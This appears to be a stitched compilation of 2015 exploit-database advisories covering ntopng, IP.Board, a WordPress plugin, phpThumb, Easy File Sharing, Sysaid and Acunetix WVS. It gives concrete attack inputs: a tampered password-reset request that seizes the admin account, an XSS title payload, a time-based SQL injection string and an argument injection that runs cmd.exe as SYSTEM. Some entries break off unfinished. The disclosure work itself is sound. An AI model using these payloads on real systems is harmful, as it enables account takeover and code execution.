# Vulnerability title: ntop-ng <= 2.0.151021 - Privilege Escalation
# Author: Dolev Farhi
# Contact: dolev at flaresec.com
# Vulnerable version: 2.0.151021
# Fixed version: 2.2
# Link: ntop.org
# Date 27.11.2015
# CVE-2015-8368
# Product Details:
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.
# Vulnerability Details:
in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.
# Vulnerability Proof of concept
1. Login with an unprivileged account
2. Change the account password and intercept the request, modify the username= and Cookie user= and change to the admin account
Example:
GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_password=12345&new_password=123456&confirm_new_password=123456 HTTP/1.1
Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX
3. Login with the admin account and the password you defined in step #3.
Voila! you're an administrator.
# Exploit Title: IP.Board Persistent XSS Vulnerability
# Date: 29/10/2015
# Software Link: https://www.invisionpower.com/buy
# Software version : 4.1.4.x
# Exploit Author: Mehdi Alouache
# Contact: mehdi.alouache@etu.univ-lehavre.fr
# Category: webapps
1. Description
Any registered user can execute remote javascript code by sending a
private message to another user. The malicious JS code has to
be written in the title of the message, and the receiver must have
enabled the notifications when a new message is delivered.
Note that the code will be directly executed as soon as the notification
appear. (The receiver doesn't even need to check his
inbox).
2. Proof of Concept
Register on the forum (IP.Board) of a website as a regular user, and
send a message to any user having the message notifications
enabled. In the title field (and only here), a simple
<script>alert(1)</script> will show a dialog box to the victim.
3. Solution:
Patch the vulnerability with the (incoming) associated patch.

* Exploit Title: WordPress Users Ultra Plugin [Blind SQL injection]
* Discovery Date: 2015/10/19
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://usersultra.com
* Software Link: https://wordpress.org/plugins/users-ultra/
* Version: 1.5.50
* Tested on: WordPress 4.3.1
* Category: webapps
Description
========================================================================
One can perform an SQL injection attack simply by exploiting the following =
WP ajax actions:
1. `edit_video`
2. `delete_photo`
3. `delete_gallery`
4. `delete_video`
5. `reload_photos`
6. `edit_gallery`
7. `edit_gallery_confirm`
8. `edit_photo`
9. `edit_photo_confirm`
10. `edit_video_confirm`
11. `set_as_main_photo`
12. `sort_photo_list`
13. `sort_gallery_list`
14. `reload_videos`
POST parameters that are exploitable in each action respectively:
1. `video_id`
2. `photo_id`
3. `gal_id`
4. `video_id`
5. `gal_id`
6. `gal_id`
7. `gal_id`
8. `photo_id`
9. `photo_id`
10. `video_id`
11. `photo_id`, `gal_id`
12. `order`
13. `order`
14. `video_id`
In case #7 a user can also change the gallery name, description and visibil=
ity by setting POST parameters `gal_name`, `gal_desc` and `gal_visibility` =
respectively.
In case #8 `photo_id` is first casted to integer and a query to DB is perfo=
rmed. If results are returned then for each result a new query is performed=
without casting the `photo_id` to integer. So if an attacker knows a valid=
video id then it can perform the attack in the second query. This achievab=
le because `<?php (int)'1 and sleep(5)' === 1; ?>
In case #9 a user can also change the photo name, description, tags and cat=
egory by setting POST parameters `photo_name`, `photo_desc`, `photo_tags` a=
nd `photo_category` respectively.
In case #10 a user can also change the video name, unique id and type by se=
tting POST parameters `video_name`, `video_unique_id` and `video_type` resp=
ectively.
Because function wpdb::get_results() and wpdb::query() are in use here, onl=
y one SQL statement can be made per request. This holds severity of the att=
ack low.
In addition all actions are privileged so the user must have an active acco=
unt in vulnerable website, in order to perform the attack.
PoC
========================================================================
Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-aja=
x.php` with data: `action=edit_video&video_id=1 and sleep(5) `

phpThumb is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
Note: This BID was previously titled 'Joomla! Alphacontent Component 'phpThumb.php' Arbitrary File Upload Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected.

# Exploit title: Easy File Sharing Web Server v7.2 - Remote SEH Buffer Overflow (DEP bypass with ROP)
# Date: 29/11/2015
# Exploit Author: Knaps
# Contact: @TheKnapsy
# Website: http://blog.knapsy.com
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: Easy File Sharing Web Server v7.2
# Tested on: Windows 7 x64, but should work on any other Windows platform

# Notes:
# - based on non-DEP SEH buffer overflow exploit by Audit0r (https://www.exploit-db.com/exploits/38526/)
# - created for fun & practice, also because it's not 1998 anymore - gotta bypass that DEP! :)

Linux Kernel is prone to an information-disclosure vulnerability.
An attacker can exploit this issue to obtain sensitive information like original MAC address; information obtained may aid in other attacks.
Note: This BID was previously titled 'Atheros Wireless Drivers MAC Address Information Disclosure Vulnerability'. The title and technical details have been changed to better reflect the underlying component affected.

This module exploits an unauthenticated SQLi vulnerability in the Sysaid
Helpdesk Free software. Because the "menu" parameter is not handled correctly,
a malicious user can manipulate the SQL query, and allows
arbitrary code execution under the context of 'SYSTEM' because the database
runs as the SA user. This module uses a Metasploit generated Powershell payload and
uses xp_cmdshell, which is activated and then deactivated after exploitation.

Acunetix WVS 10 - from guest to Sytem (Local privilege escalation)
CVE: CVE-2015-4027
Author: (me) Daniele Linguaglossa
Affected Product: Acunetix WVS 10
Exploit: Local privilege escalation
Vendor: Acunetix ltd
Remote: No
Version: 10
=========================================================================
A local privilege escalation exists in Acunetix WVS 10, it allow
a local user (even guest) to gain same privilege as System user.
With default Acunetix installation, a service called "AcuWVSSchedulerv10"
will be installed, this service run as local system user.
AcuWVSSchedulerv10 is reponsable for scan scheduling without user interaction
it expose some API to interact via a web server usually localhost:8183.
API:
/listScan
/addScan <== vulnerable one
/deleteScan
etc...
When a user schedule a scan API "addScan" will be called as following

------------------------------------------------------------------------------
The first thing i noticed was the reporttemplate, this was used to create report
when scanning ends, so it means an external file wich we can control will be then
used by System! this would be interesting enough but i never look deep into.
Instead i noticed something even worst, filename was used as argument to wvs.exe
called with system privilege!
By looking at how Acunetix handled reporttemplate argument i figured out that was
possibile to inject custom arguments within reporttemplate, now this is where
Acunetix help us :D in fact wvs was provided with an interesting argument it was
/Run as reference says:
https://www.acunetix.com/blog/docs/acunetix-wvs-cli-operation/
Run a command line command during the crawl.
Syntax: /Run [command]
Example: /Run curl http://example.com/dir1/
Wow that's really nice, so in order to execute a command we must insert a fake
Crawl followed by a Run command so reporttemplate become:
"reporttemplate": "WVSAffectedItemsReport.rep /Craw http://fakesite.it /Run cmd.exe"
it worked cmd runned as System!

Now let's pwn this!
